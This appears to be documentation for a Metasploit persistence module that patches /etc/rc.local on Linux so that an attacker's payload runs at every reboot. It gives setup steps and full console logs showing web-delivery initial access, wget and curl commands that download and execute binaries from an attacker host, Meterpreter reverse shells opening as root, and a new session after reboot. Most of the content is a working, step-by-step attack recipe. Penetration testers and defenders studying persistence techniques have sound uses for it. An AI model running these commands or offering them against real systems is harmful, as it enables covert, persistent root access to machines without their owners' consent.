h00die
124 lines
4.8 KiB
Markdown
124 lines
4.8 KiB
Markdown
## Vulnerable Application
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This module will edit `/etc/rc.local` in order to persist a payload.
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The payload will be executed on the next reboot.
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Verified on Ubuntu 18.04.3
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### Verification
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1. Exploit a box and get a **root** session
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2. `use exploit/linux/persistence/rc_local`
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3. `set SESSION <session>`
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4. `set PAYLOAD <payload>`
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5. `set LHOST <lhost>`
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6. `exploit`
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## Options
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### PAYLOAD_NAME
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Name of the payload file if a `cmd` payload is not used. Defaults to a random name
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## Scenarios
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### Ubuntu 18.04.3
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Initial access vector via web delivery
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```
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[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO zLeqpMSF --no-check-certificate http://111.111.1.111:8181/l; chmod +x zLeqpMSF; ./zLeqpMSF& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:48462) at 2025-02-09 06:54:32 -0500
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/home/ubuntu) > getuid
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Server username: root
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(Meterpreter 1)(/home/ubuntu) > sysinfo
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Computer : ubuntu18desktop.local
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OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 1)(/home/ubuntu) > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/rc_local
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > set WritableDir /home/ubuntu/
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WritableDir => /home/ubuntu/
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/rc_local) > exploit
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[*] Command to run on remote host: curl -so ./GvwBrOrMxFD http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./GvwBrOrMxFD;./GvwBrOrMxFD&
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) >
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[*] Fetch handler listening on 111.111.1.111:8080
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[*] HTTP server started
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[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
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[*] Started reverse TCP handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target appears to be vulnerable. /etc/rc.local is writable
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[*] Reading /etc/rc.local
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[*] Created /etc/rc.local backup: /root/.msf4/loot/20250209065535_default_222.222.2.222_rc.local_367870.txt
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[*] Patching /etc/rc.local
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[+] Payload will be triggered at next reboot
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250209.5536/ubuntu18desktop.local_20250209.5536.rc
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```
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Reboot host
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```
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/home/ubuntu) > shell
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Process 2052 created.
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Channel 4 created.
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reboot
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[*] 222.222.2.222 - Meterpreter session 1 closed. Reason: Died
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Terminate channel 4? [y/N] y
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[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
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[msf](Jobs:2 Agents:0) exploit(linux/persistence/rc_local) >
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[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
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[*] Sending payload to 222.222.2.222 (curl/7.58.0)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:36260) at 2025-02-09 06:56:39 -0500
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/rc_local) > sessions -i 2
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[*] Starting interaction with 2...
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(Meterpreter 2)(/) > getuid
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Server username: root
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(Meterpreter 2)(/) >
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``` |